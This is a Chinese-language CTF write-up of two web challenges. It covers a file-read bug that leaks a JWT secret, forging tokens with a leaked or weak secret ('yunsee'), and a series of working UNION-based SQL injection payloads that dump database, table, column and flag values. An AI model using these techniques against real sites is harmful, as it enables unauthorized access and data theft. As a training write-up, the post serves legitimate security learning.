本文最后更新于 2026年7月24日 晚上
知识共享
一个登录页面,先注册发现admin用户可以直接被注册

在预览附件这样存在文件读取漏洞,我们直接读一下源码
1 2 3 4
| @app.route("/admin/reports/export") @privileged_required def export_report(): return Path("/tmp/flag.txt").read_text(encoding="utf-8", errors="ignore")
|
/admin/reports/export路由由privileged_required装饰器保护,校验逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| def privileged_required(view_func): @wraps(view_func) def wrapped(*args, **kwargs): token = request.cookies.get("token") if not token: return "身份凭证无效", 401 try: payload = jwt.decode(token, app.config["SECRET_KEY"], algorithms=["HS256"]) except jwt.InvalidTokenError: return "身份凭证无效", 401 if payload.get("username") == "bigbigone" and payload.get("password") == "littlelittletwo": return view_func(*args, **kwargs) return "权限不足", 401 return wrapped
|
这里进行了JWT鉴权,要求用户名必须是bigbigone,密码必须是littlelittletwo,在源码中提到了SECRET_KEY但是并没有直接泄露而是从环境变量中获取的,下面我们尝试利用文件读取漏洞读取一下环境变量

下面开始伪造

带着这个token访问/admin/reports/export路由即可
edusrc
进去是一个大学的信息门户登录页面,不能注册,也没有直接给出用户名密码
前端的js代码泄露了一个学号,我们直接登录

没什么可以利用的功能,我们用dirsearch扫一下目录,发现了/admin路由,直接访问提示当前身份不能访问教务管理后台。
下面我们发现又是通过jwt鉴权,看看能不能伪造。密钥找不到也爆破不出来。

试试弱口令

密钥是yunsee,我们修改权限为admin,登录后台

这里提示校内资源库有查询链路,我们得到api路由/api/admin/resources/search?keyword=
经过探测发现可以这样闭合
查库名
1
| keyword=') union select database(),2,3,4,5,6,7 --+
|
查表名
1
| keyword=') union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema='yunsee_portal' --+
|
查列
1
| keyword=') union select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_name='sys_audit_config' --+
|
查询值
1
| keyword=') union select 1,2,3,4,5,6,group_concat(flag) from yunsee_portal.sys_audit_config --+
|
